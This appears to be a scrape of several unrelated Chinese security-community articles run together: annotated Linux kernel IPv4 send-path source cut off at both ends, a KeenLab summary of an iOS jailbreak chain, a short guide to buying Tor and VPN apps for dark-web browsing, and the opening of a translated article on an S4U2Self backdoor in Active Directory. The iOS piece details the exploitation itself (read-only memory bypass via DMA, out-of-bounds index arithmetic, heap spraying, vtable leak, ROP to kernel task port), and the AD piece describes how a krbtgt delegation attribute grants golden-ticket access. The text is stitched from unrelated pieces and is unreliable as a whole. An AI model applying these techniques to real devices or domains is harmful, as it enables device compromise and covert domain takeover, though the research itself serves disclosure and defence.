*off = _off;
return skb;
}
return NULL;
}
## 4\. IP(网络层)
### 4.1 ip_cmsg_send
* 将cmsg中的控制信息, 保存至ipc(可以根据控制信息, 自定义socket和ip层面配置)
int ip_cmsg_send(struct sock *sk, struct msghdr *msg, struct ipcm_cookie *ipc,
bool allow_ipv6)
{
int err, val;
struct cmsghdr *cmsg;
struct net *net = sock_net(sk);
for_each_cmsghdr(cmsg, msg) {
if (!CMSG_OK(msg, cmsg))
return -EINVAL;
if (cmsg->cmsg_level == SOL_SOCKET) {
// 修改socket层面的配置
err = __sock_cmsg_send(sk, msg, cmsg, &ipc->sockc);
if (err)
return err;
continue;
}
if (cmsg->cmsg_level != SOL_IP)
continue;
switch (cmsg->cmsg_type) {
case IP_RETOPTS:
// 获得ip选项
err = cmsg->cmsg_len - sizeof(struct cmsghdr);
/* Our caller is responsible for freeing ipc->opt */
err = ip_options_get(net, &ipc->opt, CMSG_DATA(cmsg),
err < 40 ? err : 40);
if (err)
return err;
break;
case IP_PKTINFO:
// 通过控制信息修改源ip
{
struct in_pktinfo *info;
if (cmsg->cmsg_len != CMSG_LEN(sizeof(struct in_pktinfo)))
return -EINVAL;
info = (struct in_pktinfo *)CMSG_DATA(cmsg);
if (info->ipi_ifindex)
ipc->oif = info->ipi_ifindex;
ipc->addr = info->ipi_spec_dst.s_addr;
break;
}
case IP_TTL:
// 自定义TTL
if (cmsg->cmsg_len != CMSG_LEN(sizeof(int)))
return -EINVAL;
val = *(int *)CMSG_DATA(cmsg);
if (val < 1 || val > 255)
return -EINVAL;
ipc->ttl = val;
break;
case IP_TOS:
// 自定义TOS
if (cmsg->cmsg_len == CMSG_LEN(sizeof(int)))
val = *(int *)CMSG_DATA(cmsg);
else if (cmsg->cmsg_len == CMSG_LEN(sizeof(u8)))
val = *(u8 *)CMSG_DATA(cmsg);
else
return -EINVAL;
if (val < 0 || val > 255)
return -EINVAL;
ipc->tos = val;
ipc->priority = rt_tos2priority(ipc->tos);
break;
default:
return -EINVAL;
}
}
return 0;
}
### 4.2 ip_make_skb
truct sk_buff *ip_make_skb(struct sock *sk,
struct flowi4 *fl4,
int getfrag(void *from, char *to, int offset,
int len, int odd, struct sk_buff *skb),
void *from, int length, int transhdrlen,
struct ipcm_cookie *ipc, struct rtable **rtp,
struct inet_cork *cork, unsigned int flags)
{
/*
struct sk_buff_head {
/* These two members must be first. */
struct sk_buff *next;
struct sk_buff *prev;
__u32 qlen;
spinlock_t lock;
};
*/
struct sk_buff_head queue;
int err;
// 路径探测数据包不传输数据, 直接返回
if (flags & MSG_PROBE)
return NULL;
// 创建空闲队列
__skb_queue_head_init(&queue);
// 伪造cork
cork->flags = 0;
cork->addr = 0;
cork->opt = NULL;
// 初始化cork, 见4.2.1
err = ip_setup_cork(sk, cork, ipc, rtp);
if (err)
return ERR_PTR(err);
// 使用队列保存skb, skb组织待传输数据, 详细见4.3.1
err = __ip_append_data(sk, fl4, &queue, cork,
¤t->task_frag, getfrag,
from, length, transhdrlen, flags);
if (err) {
__ip_flush_pending_frames(sk, &queue, cork);
return ERR_PTR(err);
}
// 取出队列中的skb, 设置ip选项, 并链接, 返回一个skb, 详细见4.2.2
return __ip_make_skb(sk, fl4, &queue, cork);
}
### 4.2.1 ip_setup_cork
static int ip_setup_cork(struct sock *sk, struct inet_cork *cork,
struct ipcm_cookie *ipc, struct rtable **rtp)
{
struct ip_options_rcu *opt;
struct rtable *rt;
rt = *rtp;
if (unlikely(!rt))
return -EFAULT;
/*
* setup for corking.
*/
opt = ipc->opt;
if (opt) {
if (!cork->opt) {
// 为cork->opt分配空间, 最大容纳sizeof(struct ip_options) + 40 bytes
cork->opt = kmalloc(sizeof(struct ip_options) + 40,
sk->sk_allocation);
if (unlikely(!cork->opt))
return -ENOBUFS;
}
// 缓存opt至cork->opt
memcpy(cork->opt, &opt->opt, sizeof(struct ip_options) + opt->opt.optlen);
cork->flags |= IPCORK_OPT;
cork->addr = ipc->addr;
}
// 设置报文分段长度, 开启pmtu探测时调用dst->ops->mtu(dst)获得mtu, 否则从网络设备获得mtu
cork->fragsize = ip_sk_use_pmtu(sk) ?
dst_mtu(&rt->dst) : READ_ONCE(rt->dst.dev->mtu);
// mtu >= IPV4_MIN_MTU
if (!inetdev_valid_mtu(cork->fragsize))
return -ENETUNREACH;
cork->gso_size = ipc->gso_size;
// 设置路由
cork->dst = &rt->dst;
/* We stole this route, caller should not release it. */
*rtp = NULL;
// 基础配置, cork最终会拿到所有ip配置
// cork->length表示skb已包含数据
cork->length = 0;
cork->ttl = ipc->ttl;
cork->tos = ipc->tos;
cork->mark = ipc->sockc.mark;
cork->priority = ipc->priority;
cork->transmit_time = ipc->sockc.transmit_time;
cork->tx_flags = 0;
sock_tx_timestamp(sk, ipc->sockc.tsflags, &cork->tx_flags);
return 0;
}
### 4.2.2 __ip_make_skb
struct sk_buff *__ip_make_skb(struct sock *sk,
struct flowi4 *fl4,
struct sk_buff_head *queue,
struct inet_cork *cork)
{
struct sk_buff *skb, *tmp_skb;
struct sk_buff **tail_skb;
struct inet_sock *inet = inet_sk(sk);
struct net *net = sock_net(sk);
struct ip_options *opt = NULL;
struct rtable *rt = (struct rtable *)cork->dst;
struct iphdr *iph;
__be16 df = 0;
__u8 ttl;
// 取出第一个skb
skb = __skb_dequeue(queue);
if (!skb)
goto out;
// 定位skb非线性区域
tail_skb = &(skb_shinfo(skb)->frag_list);
/* move skb->data to ip header from ext header */
// 更新skb->data指向ip头
if (skb->data < skb_network_header(skb))
__skb_pull(skb, skb_network_offset(skb));
// 依次取出skb, 使用skb_shinfo(skb)->frag_list作为指针将所有skb链接起来, 同时由链表头skb统计数据长度信息
while ((tmp_skb = __skb_dequeue(queue)) != NULL) {
__skb_pull(tmp_skb, skb_network_header_len(skb));
*tail_skb = tmp_skb;
tail_skb = &(tmp_skb->next);
skb->len += tmp_skb->len;
skb->data_len += tmp_skb->len;
skb->truesize += tmp_skb->truesize;
tmp_skb->destructor = NULL;
tmp_skb->sk = NULL;
}
/* Unless user demanded real pmtu discovery (IP_PMTUDISC_DO), we allow
* to fragment the frame generated here. No matter, what transforms
* how transforms change size of the packet, it will come out.
*/
// 设置是否开启动态mtu探测
skb->ignore_df = ip_sk_ignore_df(sk);
/* DF bit is set when we want to see DF on outgoing frames.
* If ignore_df is set too, we still allow to fragment this frame
* locally. */
if (inet->pmtudisc == IP_PMTUDISC_DO ||
inet->pmtudisc == IP_PMTUDISC_PROBE ||
(skb->len <= dst_mtu(&rt->dst) &&
ip_dont_fragment(sk, &rt->dst)))
df = htons(IP_DF);
if (cork->flags & IPCORK_OPT)
opt = cork->opt;
if (cork->ttl != 0)
ttl = cork->ttl;
else if (rt->rt_type == RTN_MULTICAST)
ttl = inet->mc_ttl;
else
ttl = ip_select_ttl(inet, &rt->dst);
// 填充skb线性区域的ip头信息
iph = ip_hdr(skb);
iph->version = 4;
iph->ihl = 5;
iph->tos = (cork->tos != -1) ? cork->tos : inet->tos;
iph->frag_off = df;
iph->ttl = ttl;
iph->protocol = sk->sk_protocol;
ip_copy_addrs(iph, fl4);
ip_select_ident(net, skb, sk);
if (opt) {
iph->ihl += opt->optlen>>2;
ip_options_build(skb, opt, cork->addr, rt, 0);
}
skb->priority = (cork->tos != -1) ? cork->priority: sk->sk_priority;
skb->mark = cork->mark;
skb->tstamp = cork->transmit_time;
/*
* Steal rt from cork.dst to avoid a pair of atomic_inc/atomic_dec
* on dst refcount
*/
cork->dst = NULL;
skb_dst_set(skb, &rt->dst);
if (iph->protocol == IPPROTO_ICMP)
icmp_out_count(net, ((struct icmphdr *)
skb_transport_header(skb))->type);
ip_cork_release(cork);
out:
return skb;
}
### 4.3 ip_append_data
int ip_append_data(struct sock *sk, struct flowi4 *fl4,
int getfrag(void *from, char *to, int offset, int len,
int odd, struct sk_buff *skb),
void *from, int length, int transhdrlen,
struct ipcm_cookie *ipc, struct rtable **rtp,
unsigned int flags)
{
struct inet_sock *inet = inet_sk(sk);
int err;
// 忽略探测包
if (flags&MSG_PROBE)
return 0;
// 队列为空时, 初始化cork
if (skb_queue_empty(&sk->sk_write_queue)) {
err = ip_setup_cork(sk, &inet->cork.base, ipc, rtp);
if (err)
return err;
} else {
transhdrlen = 0;
}
return __ip_append_data(sk, fl4, &sk->sk_write_queue, &inet->cork.base,
sk_page_frag(sk), getfrag,
from, length, transhdrlen, flags);
}
### 4.3.1 __ip_append_data
static int __ip_append_data(struct sock *sk,
struct flowi4 *fl4,
struct sk_buff_head *queue,
struct inet_cork *cork,
struct page_frag *pfrag,
int getfrag(void *from, char *to, int offset,
int len, int odd, struct sk_buff *skb),
void *from, int length, int transhdrlen,
unsigned int flags)
{
struct inet_sock *inet = inet_sk(sk);
struct ubuf_info *uarg = NULL;
struct sk_buff *skb;
struct ip_options *opt = cork->opt;
int hh_len;
int exthdrlen;
int mtu;
int copy;
int err;
int offset = 0;
unsigned int maxfraglen, fragheaderlen, maxnonfragsize;
int csummode = CHECKSUM_NONE;
struct rtable *rt = (struct rtable *)cork->dst;
unsigned int wmem_alloc_delta = 0;
bool paged, extra_uref = false;
u32 tskey = 0;
// 取出队列尾部的skb(这个skb有可能存在部分空闲缓冲区, 可以继续保存数据)
skb = skb_peek_tail(queue);
// skb为空(第一个skb), rt->dst.header_len为拓展头长度
exthdrlen = !skb ? rt->dst.header_len : 0;
// 如果开启GSO机制, mtu可直接取最大值, 否则取最大报文分段长度
mtu = cork->gso_size ? IP_MAX_MTU : cork->fragsize;
paged = !!cork->gso_size;
if (cork->tx_flags & SKBTX_ANY_SW_TSTAMP &&
sk->sk_tsflags & SOF_TIMESTAMPING_OPT_ID)
tskey = sk->sk_tskey++;
// 为L2层保留首部长度
hh_len = LL_RESERVED_SPACE(rt->dst.dev);
// udp头部 + ip选项
fragheaderlen = sizeof(struct iphdr) + (opt ? opt->optlen : 0);
// payload部分需要8字节对齐
maxfraglen = ((mtu - fragheaderlen) & ~7) + fragheaderlen;
// 检查是否设置DF标志(动态mtu探测), 没有开启mtu探测可直接传输最大0xffff字节数据
maxnonfragsize = ip_sk_ignore_df(sk) ? 0xFFFF : mtu;
// 如果传输数据超过maxnonfragsize, 则报错退出
if (cork->length + length > maxnonfragsize - fragheaderlen) {
ip_local_error(sk, EMSGSIZE, fl4->daddr, inet->inet_dport,
mtu - (opt ? opt->optlen : 0));
return -EMSGSIZE;
}
/*
* transhdrlen > 0 means that this is the first fragment and we wish
* it won't be fragmented in the future.
*/
// 发送第一个报文&报文长度小于mtu&存在硬件校验(支持全部包校验or校验ipv4协议中的tcp/udp)&非阻塞IO or开启GSO&没有拓展头部or支持ESP硬件分片, 开启硬件校验
if (transhdrlen &&
length + fragheaderlen <= mtu &&
rt->dst.dev->features & (NETIF_F_HW_CSUM | NETIF_F_IP_CSUM) &&
(!(flags & MSG_MORE) || cork->gso_size) &&
(!exthdrlen || (rt->dst.dev->features & NETIF_F_HW_ESP_TX_CSUM)))
csummode = CHECKSUM_PARTIAL;
// 零拷贝机制, 可以提升大块数据收发速度
if (flags & MSG_ZEROCOPY && length && sock_flag(sk, SOCK_ZEROCOPY)) {
uarg = sock_zerocopy_realloc(sk, length, skb_zcopy(skb));
if (!uarg)
return -ENOBUFS;
extra_uref = !skb_zcopy(skb); /* only ref on new uarg */
if (rt->dst.dev->features & NETIF_F_SG &&
csummode == CHECKSUM_PARTIAL) {
paged = true;
} else {
uarg->zerocopy = 0;
skb_zcopy_set(skb, uarg, &extra_uref);
}
}
// 更新cork->length长度, 对于阻塞通信, cork->length会表示所有已存储数据长度
cork->length += length;
/* So, what's going on in the loop below?
*
* We use calculated fragment length to generate chained skb,
* each of segments is IP fragment ready for sending to network after
* adding appropriate IP header.
*/
// skb为空则新建skb
if (!skb)
goto alloc_new_skb;
while (length > 0) {
/* Check if the remaining data fits into current packet. */
// skb->len表示当前skb已存储数据, copy表示本次循环待处理数据长度
copy = mtu - skb->len;
// 当前skb不能容纳剩余的所有数据
if (copy < length)
copy = maxfraglen - skb->len;
// 当前skb已满, 需要分配新的skb
if (copy <= 0) {
char *data;
unsigned int datalen;
unsigned int fraglen;
unsigned int fraggap;
unsigned int alloclen;
unsigned int pagedlen;
struct sk_buff *skb_prev;
alloc_new_skb:
skb_prev = skb;
// 如果上一个skb存在, 则说明上一个块已经被填满(skb_prev->len与maxfraglen差值在[0:8)内)
// 否则说明当前skb为第一个skb, 无需考虑上一个skb剩余数据
if (skb_prev)
fraggap = skb_prev->len - maxfraglen;
else
fraggap = 0;
/*
* If remaining data exceeds the mtu,
* we know we need more fragment(s).
*/
// datalen记录当前skb需要存储的数据大小, 如果数据超出mtu, 按照最大mtu计算(第一个报文片段需要考虑报文头长度)
datalen = length + fraggap;
if (datalen > mtu - fragheaderlen)
datalen = maxfraglen - fragheaderlen;
fraglen = datalen + fragheaderlen;
pagedlen = 0;
// 如果接下来会有数据传入且硬件不支持分散/聚合IO, 则直接分配mtu大小空间, 否则按需分析
if ((flags & MSG_MORE) &&
!(rt->dst.dev->features&NETIF_F_SG))
alloclen = mtu;
else if (!paged)
alloclen = fraglen;
else {
alloclen = min_t(int, fraglen, MAX_HEADER);
pagedlen = fraglen - alloclen;
}
// 添加拓展头空间
alloclen += exthdrlen;
/* The last fragment gets additional space at tail.
* Note, with MSG_MORE we overallocate on fragments,
* because we have no idea what fragment will be
* the last.
*/
if (datalen == length + fraggap)
alloclen += rt->dst.trailer_len;
// 第一次发送报文片段需要考虑运输层(udp)头部, 与其他片段存在差异, 使用sock_alloc_send_skb分配空间
if (transhdrlen) {
skb = sock_alloc_send_skb(sk,
alloclen + hh_len + 15,
(flags & MSG_DONTWAIT), &err);
} else {
skb = NULL;
// 如果当前套接字已分配的写缓冲区总长 > 2*sk->sk_sndbuf则发生错误
if (refcount_read(&sk->sk_wmem_alloc) + wmem_alloc_delta <=
2 * sk->sk_sndbuf)
// alloc_skb 为skb分配空间
skb = alloc_skb(alloclen + hh_len + 15,
sk->sk_allocation);
if (unlikely(!skb))
err = -ENOBUFS;
}
if (!skb)
goto error;
/*
* Fill in the control structures
*/
// 选择校验方式
skb->ip_summed = csummode;
// 伪造一个校验和, 防止后面计算校验和时出现套娃
skb->csum = 0;
// 在skb线性区域为L2保留空间
// skb->data&skb->head向下移动
skb_reserve(skb, hh_len);
/*
* Find where to start putting bytes.
*/
// skb->tail增加, 开辟线性写入空间(skb->head: skb->tail)
data = skb_put(skb, fraglen + exthdrlen - pagedlen);
// 设置网络层头
skb_set_network_header(skb, exthdrlen);
// 设置传输层头
skb->transport_header = (skb->network_header +
fragheaderlen);
data += fragheaderlen + exthdrlen;
if (fraggap) {
// 将pre_skb末尾字节复制到skb, 拷贝时校验
skb->csum = skb_copy_and_csum_bits(
skb_prev, maxfraglen,
data + transhdrlen, fraggap, 0);
skb_prev->csum = csum_sub(skb_prev->csum,
skb->csum);
data += fraggap;
pskb_trim_unique(skb_prev, maxfraglen);
}
// 调用getfrag(), 复制copy字节数据至skb, getfrag由上层协议指定(本例为udp)
copy = datalen - transhdrlen - fraggap - pagedlen;
if (copy > 0 && getfrag(from, data + transhdrlen, offset, copy, fraggap, skb) < 0) {
err = -EFAULT;
kfree_skb(skb);
goto error;
}
// 更新偏移
offset += copy;
// 递减length(待传输字节数)
length -= copy + transhdrlen;
transhdrlen = 0;
exthdrlen = 0;
csummode = CHECKSUM_NONE;
/* only the initial fragment is time stamped */
// 设置时间戳
skb_shinfo(skb)->tx_flags = cork->tx_flags;
cork->tx_flags = 0;
skb_shinfo(skb)->tskey = tskey;
tskey = 0;
skb_zcopy_set(skb, uarg, &extra_uref);
if ((flags & MSG_CONFIRM) && !skb_prev)
skb_set_dst_pending_confirm(skb, 1);
/*
* Put the packet on the pending queue.
*/
if (!skb->destructor) {
// 销毁skb后, 恢复相应的wmem_alloc_delta数据容量
skb->destructor = sock_wfree;
skb->sk = sk;
wmem_alloc_delta += skb->truesize;
}
// 添加skb至队列
__skb_queue_tail(queue, skb);
continue;
}
// skb剩余空间足够存储剩余数据
if (copy > length)
copy = length;
// 如果硬件不支持分散/聚合IO, 使用线性区域存储数据
if (!(rt->dst.dev->features&NETIF_F_SG) &&
skb_tailroom(skb) >= copy) {
unsigned int off;
off = skb->len;
// 硬件不支持分散/聚合IO, 使用getfrag复制数据至线性区域(更新skb->tail), 更新偏移
if (getfrag(from, skb_put(skb, copy),
offset, copy, off, skb) < 0) {
__skb_trim(skb, off);
err = -EFAULT;
goto error;
}
} else if (!uarg || !uarg->zerocopy) {
// 填充至非线性区域, skb的frags数组中
int i = skb_shinfo(skb)->nr_frags;
err = -ENOMEM;
if (!sk_page_frag_refill(sk, pfrag))
goto error;
if (!skb_can_coalesce(skb, i, pfrag->page,
pfrag->offset)) {
err = -EMSGSIZE;
if (i == MAX_SKB_FRAGS)
goto error;
__skb_fill_page_desc(skb, i, pfrag->page,
pfrag->offset, 0);
skb_shinfo(skb)->nr_frags = ++i;
get_page(pfrag->page);
}
copy = min_t(int, copy, pfrag->size - pfrag->offset);
if (getfrag(from,
page_address(pfrag->page) + pfrag->offset,
offset, copy, skb->len, skb) < 0)
goto error_efault;
pfrag->offset += copy;
skb_frag_size_add(&skb_shinfo(skb)->frags[i - 1], copy);
skb->len += copy;
skb->data_len += copy;
skb->truesize += copy;
wmem_alloc_delta += copy;
} else {
// 使用零拷贝技术填充skb
err = skb_zerocopy_iter_dgram(skb, from, copy);
if (err < 0)
goto error;
}
// 更新偏移与长度
offset += copy;
length -= copy;
}
if (wmem_alloc_delta)
refcount_add(wmem_alloc_delta, &sk->sk_wmem_alloc);
return 0;
error_efault:
err = -EFAULT;
error:
if (uarg)
sock_zerocopy_put_abort(uarg, extra_uref);
cork->length -= length;
IP_INC_STATS(sock_net(sk), IPSTATS_MIB_OUTDISCARDS);
refcount_add(wmem_alloc_delta, &sk->sk_wmem_alloc);
return err;
}
### 4.4 ip_send_skb
> ip_send_skb->ip_local_out
int ip_send_skb(struct net *net, struct sk_buff *skb)
{
int err;
err = ip_local_out(net, skb->sk, skb);
if (err) {
if (err > 0)
// 传递底层错误信息至上层协议
err = net_xmit_errno(err);
if (err)
IP_INC_STATS(net, IPSTATS_MIB_OUTDISCARDS);
}
return err;
}
int ip_local_out(struct net *net, struct sock *sk, struct sk_buff *skb)
{
int err;
// 填充ip头部, 判断数据包是否允许通过
err = __ip_local_out(net, sk, skb);
if (likely(err == 1))
// 发送数据包
err = dst_output(net, sk, skb);
return err;
}
### 4.4.1 __ip_local_out
int __ip_local_out(struct net *net, struct sock *sk, struct sk_buff *skb)
{
struct iphdr *iph = ip_hdr(skb);
// 填充ip报文长度
iph->tot_len = htons(skb->len);
// 计算ip校验和
ip_send_check(iph);
/* if egress device is enslaved to an L3 master device pass the
* skb to its handler for processing
*/
// 设置出口设备为l3主设备(虚拟网卡)
skb = l3mdev_ip_out(sk, skb);
if (unlikely(!skb))
return 0;
skb->protocol = htons(ETH_P_IP);
// 检查此处是否存在网络数据包过滤器, 如果存在则执行过滤操作, 并将dst_output作为回调函数
return nf_hook(NFPROTO_IPV4, NF_INET_LOCAL_OUT,
net, sk, skb, NULL, skb_dst(skb)->dev,
dst_output);
} | 社区文章 |
作者：[腾讯科恩实验室](https://mp.weixin.qq.com/s/Ns5pfynw0FHU9myiufAreg "腾讯科恩实验室")
#### 议题概要
现代操作系统基本都已经在硬件级别（MMU）支持了用户态只读内存，只读内存映射在保证了跨进程间通信、用户态与内核间通信高效性的同时，也保证了其安全性。直到DirtyCOW漏洞的出现，这种信任边界被彻底打破。
在iOS中，这样的可信边界似乎是安全的，然而随着苹果设备的快速更新和发展，引入了越来越多的酷炫功能。许多酷炫功能依赖iOS与一些独立芯片的共同协作。其中，DMA（直接内存访问）技术让iOS与这些独立芯片之间的数据通信变得更加高效。
然而，很少有人意识到，这些新功能的引入，悄然使得建立已久的可信边界被打破。科恩实验室经过长时间的研究，发现了一些间接暴露给用户应用的DMA接口。虽然DMA的通信机制设计的比较完美，但是在软件实现层出现了问题。将一系列的问题串联起来后，将会形成了一个危害巨大的攻击链，甚至可导致iOS手机被远程越狱。部分技术曾在去年的MOSEC大会上进行演示，但核心细节与技术从未被公开。该议题将首次对这些技术细节、漏洞及利用过程进行分享，揭示如何串联多个模块中暴露的“不相关”问题，最终获取iOS内核最高权限的新型攻击模式。
#### 作者简介
陈良，腾讯安全科恩实验室安全研究专家，专注于浏览器高级利用技术、Apple系操作系统(macOS/iOS)的漏洞挖掘与利用技术研究。他曾多次带领团队获得Pwn2Own
、Mobile Pwn2Own的冠军，并多次实现针对iOS系统的越狱。
#### 议题解析
现代操作系统都会实现内存保护机制，让攻击变得更困难。iOS在不同级别实现了这样的内存保护，例如，MMU的TBE属性实现NX、PXN、AP等，以及更底层的KPP、AMCC等：
其中，用户态只读内存机制，在iOS上有很多应用，比如可执行页只读、进程间只读以及内核到用户态内存的只读：
如果一旦这些只读内存的保护被破坏，那么最初的可信边界就会被彻底破坏，在多进程通信的模式下，这可以导致沙盒绕过。而对于内核和用户态内存共享模式下，这可能可以导致内核代码执行：
然而突破这样的限制并不容易，在iOS中，内核代码会阻止这样的情况发生：每个内存页都有一个max_prot属性，如果这个属性设置为不能大于只读，那么所有设置成writable的重映射请求都会被阻止：
随着手机新技术的发展，DMA技术也被应用于手机上，DMA是一种让内存可以不通过CPU进行处理的技术，也就是说，所有CPU级别的内存保护，对于DMA全部无效。
那么，是不是说，DMA没有内存保护呢？事实并非如此，这是因为两个原因：第一，对于64位手机设备，许多手机的周边设备（例如WIFI设备）还是32位的，这使得有必要进行64位和32位地址间转换；第二是因为DMA技术本身需要必要的内存保护。
正因为如此，IOMMU的概念被提出了。在iOS设备中，DART模块用来实现这样的地址转换。
事实上DMA有两种：Host-to-device DMA以及device-to-host
DMA，前者用于将系统内存映射到设备，而后者用户将设备内存映射于系统虚拟内存。在2017年中，Google Project Zero的研究员Gal
Beniamini先将WIFI芯片攻破，然后通过修改Host-to-device
DMA的一块内存，由于内核充分信任这块内存，忽略了一些必要的边界检查，导致成功通过WIFI来攻破整个iOS系统：
然而Gal的攻击方式存在一定局限，因为必须在短距离模式下才能完成：攻击WIFI芯片需要攻击者和受害者在同一个WIFI环境中。
我们有没有办法通过DMA的问题实现远距离攻破，这听上去并不可行，因为DMA接口本身并不会暴露于iOS用户态。
然而通过科恩实验室的研究发现，可能存在一些间接接口，可以用来做DMA相关的操作，例如iOS中的JPEG引擎以及IOSurface
transform等模块。我们选择研究IOSurface transform模块的工作机制。以下是IOSurface transform模块的工作机制：
IOSurfaceAccelerator接口通过用户态提供的两个IOSurface地址作为用户参数，通过操作Scaler设备，将IOSurface对应的地址转换成Scaler设备可见的设备地址，然后启动scaler设备进行transform，整个过程如下：
另一方面，在这个Host-to-device
DMA过程中，用户态内存的只读属性是否被考虑在内，是一个比较疑惑的问题。我们经过研究，发现在IOMMU中是支持内存属性的：
在TTE的第8和第9位，是用于执行内存页的读写属性的：
因此我们得到这样的页表属性定义：
我们之后介绍了苹果图形组件的工作模式：
在iPhone7设备中，一共有128个Channel，这些Channel被分成三类：CL、GL和TA，内核将来自用户态的绘图指令包装并塞入这128个channel，然后等待GPU的处理。由于GPU处理是高并发的，因此需要很健全的通知机制：
首先GPU会映射一个128个元素的stampArray给kernel，kernel也会把这块内存映射到用户态。与此同时，内核也维护了一个stamp
address array，用于保存每个channel的stamp地址：
值得注意的是，GPU每处理完一个绘图指令后，都会将对应channel的stamp值加1。另一方面，对于每个绘图指令，都会有一个期望stamp值，这个值被封装于IOAccelEvent对象中：
系统通过简单的比较expectStamp于当前channel的stamp值就可以确定这个绘图指令是否已经完成。为了提高处理效率，部分IOAccelEvent对象会被映射到用户态，属性只读。
在介绍完了所有这些机制性的问题后，我们来介绍两个用于Jailbreak的关键漏洞。漏洞1存在于DMA映射模块，先前提到，系统的内存属性mapOption会被传入底层DART的代码中，然而在iOS
10以及早期的iOS 11版本中，这个mapOption参数被下层的DART转换所忽略：
所有操作系统中的虚拟地址，都会被映射成IOSpace中允许读写的内存：
之后我们介绍第二个漏洞，这个漏洞存在于苹果图形模块中。在IOAccelResource对象创建过程中，一个IOAccelClientShareRO对象会被映射到用户态作为只读内存，这个对象包含4个IOAccelEvent对象：
在IOAccelResource对象销毁过程中，testEvent函数会被执行，用于测试IOAccelResource对应的绘图指令是否已经被GPU处理完成：
在这个代码逻辑中，由于内核充分信任这块IOAccelEvent内存不会被用户态程序篡改（因为是只读映射），因此并没有对channelIndex做边界检查。这虽然在绝大多数情况下是安全的，但如果我们配合漏洞1，在用户态直接修改这块只读内存，就会导致可信边界被彻底破坏，从而造成m_stampAddressArray的越界读以及m_inlineArray的越界写：
最后，我们讨论两个漏洞的利用。要利用这两个漏洞并不容易，因为我们需要找到一种内存布局方法，让m_stampAddressArray以及m_inlineArray这两个数组的越界值都可控。但因为这两个数组在系统启动初期就已经分配，而且这两个数组的元素大小并不相同，因此布局并不容易。
经过研究，我们发现，只有通过指定大index以及合理的内核对喷，才能实现这样的布局。因为在iPhone7设备中，用户态应用可以喷射大概350MB的内存，并且在m_stampAddressArray以及m_inlineArray初始化后，会有额外50MB的内存消耗，因此我们需要使得index满足以下两个条件：
1. index ∗ 24 < 350MB + 50MB
2. index ∗ 8 > 50MB
也就是说index的值需要在[0x640000, 0x10AAAAA]这个范围内，可以使得两个数组的越界值极大概率在我们可控的喷射内存内：
然后，下一个问题就是，我们是否能够任意地址读以及任意地址写。对于任意地址读似乎不是什么问题，因为m_stampAddressArray的元素大小是8字节，可以通过指定任意index到达任意内存地址。但任意地址写需要研究，因为m_inlineArray的元素大小是24字节，只有一个field可以用于越界写，所以不是每个内存地址都可以被写到：
在这种情况下，我们退求其次，如果能实现对于一个页中的任意偏移值进行写操作，那么也可以基本达到我们的要求。在这里，我们需要通过同余定理来实现：
因为：
0xc000 ≡ 0(mod0x4000)
因此对于任意整数n，满足：
n ∗ 0x800 ∗ 24 ≡ 0(mod0x4000)
由于0x4000 / 24 * 0xF0 / 16 = 0x27f6，我们得到：
0xF0 + 0x27f6 ∗ 24 + n ∗ 0x800 ∗ 24 ≡ 0(mod0x4000)
最后我们得出结论，如果需要通过越界m_inlineArray写到一个页的前8字节，需要满足:
index = 0x27f6 + n ∗ 0x800
而如果需要到达任意页内偏移，假设要到达偏移m，则index需要满足条件：
index = 0x27f6 + 0x2ab ∗ m/8 + n ∗ 0x800
与之前得出的index范围结论相结合，我们最终选择了index值0x9e6185:
然后我们通过以下几个步骤进行漏洞利用，在第一个布局中，我们得出Slot B与Slot C的index值：
随之我们将slot B填入相同大小的AGXGLContext对象，然后再次利用漏洞泄露出其vtable的第四位：
最后我们通过将Slot
C释放并填入AGXGLContext对象，将其原本0x568偏移的AGXAccelerator对象改为我们可控的内存值，实现代码执行：
最后，整个利用流程总结如下：
在通过一系列ROP后，我们最终拿到了TFP0，但这离越狱还有一段距离：绕过AMFI，rootfs的读写挂载、AMCC/KPP绕过工作都需要做，由于这些绕过技术都有公开资料可以查询，我们这里不作详细讨论：
最后，我们对整条攻击链作了总结：
1. 在iOS 11的第一个版本发布后，我们的DMA映射漏洞被修复；
2. 但是苹果图形组件中的越界写漏洞并没有被修复；
3. 这是一个”设计安全，但实现并不安全”的典型案例，通过这一系列问题，我们将这些问题串联起来实现了复杂的攻击；
4. 也许目前即便越界写漏洞不修复，我们也无法破坏重新建立起来的只读内存可信边界；
5. 但是至少，我们通过这篇文章，证明了可信边界是可以被打破的，因为用户态只读映射是”危险”的；
6. 也许在未来的某一天，另一个漏洞的发现又彻底破坏了这样的可信边界，配合这个越界写漏洞将整个攻击链再次复活。这是完全有可能的。
对iOS安全研究感兴趣的朋友可以查看此次议题发布的白皮书[《KeenLab
iOS越狱细节揭秘：危险的用户态只读内存》](https://share.weiyun.com/5YvPgPl "《KeenLab
iOS越狱细节揭秘：危险的用户态只读内存》")获取更多信息。
* * * | 社区文章 |
0x01
购买安装iphone tor软件，一个紫色洋葱。 12元
0x02购买Linvpn <https://linvpn12.com/> 半年48元
0x03手机上运行linvpn，选择香港或者韩国节点。
0x04
打开tor软件。
就可以了。<http://thehiddenwiki.org>
暗网导航。
安全风险自己把控。 | 社区文章 |
# S4U2Self在活动目录持久化中的应用
|
##### 译文声明
本文是翻译文章，文章原作者 alsid，文章来源：alsid.com
原文地址：<https://alsid.com/company/news/abusing-s4u2self-another-sneaky-active-directory-persistence>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
[Elad
Shamir](https://twitter.com/elad_shamir)最近在Kerberos委派上做了不少研究（参考这篇[文章](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)），在这基础上，我们准备发表一系列文章，深入分析之前未发现的攻击方法，也会帮蓝队提出实用的解决方案，可以衡量这种攻击方法对活动目录（Active
Directory）基础设施的影响。
这是我们发布的第二篇文章，重点介绍的是Kerberos的`S4U2Self`扩展。Shamir在那篇文章中介绍了基于该功能的一种新型AD后门。本文会介绍攻击者如何部署并使用这种后门，并将这种技术拓展到不同类型的AD账户。这里我们还将调整委派方向，描述可能存在的另一种漏洞。在文末我们也会提出一些建议，帮助安全团队防御此类攻击场景。
## 二、理解S4U2Self后门
在之前的研究文章中，Shamir提出攻击者可以通过某种方式利用`msDS-AllowedToActOnBehalfOfOtherIdentity`属性，以便在AD基础设施中隐藏特权访问权限。
如果在`krbtgt`账户的`msDS-AllowedToActOnBehalfOfOtherIdentity`属性中设置某个用户账户的SID（下文将详细介绍操作过程），那么任意账户就可以获取KDC（Key
Distribution Centre）服务的TGS（Ticket Granting Service），最终获得一个有效的TGT（Ticket-Granting Ticket），这也意味着攻击者成功获得了黄金票据（Golden Ticket）。拥有黄金票据后，攻击者可以完全控制整个AD域。
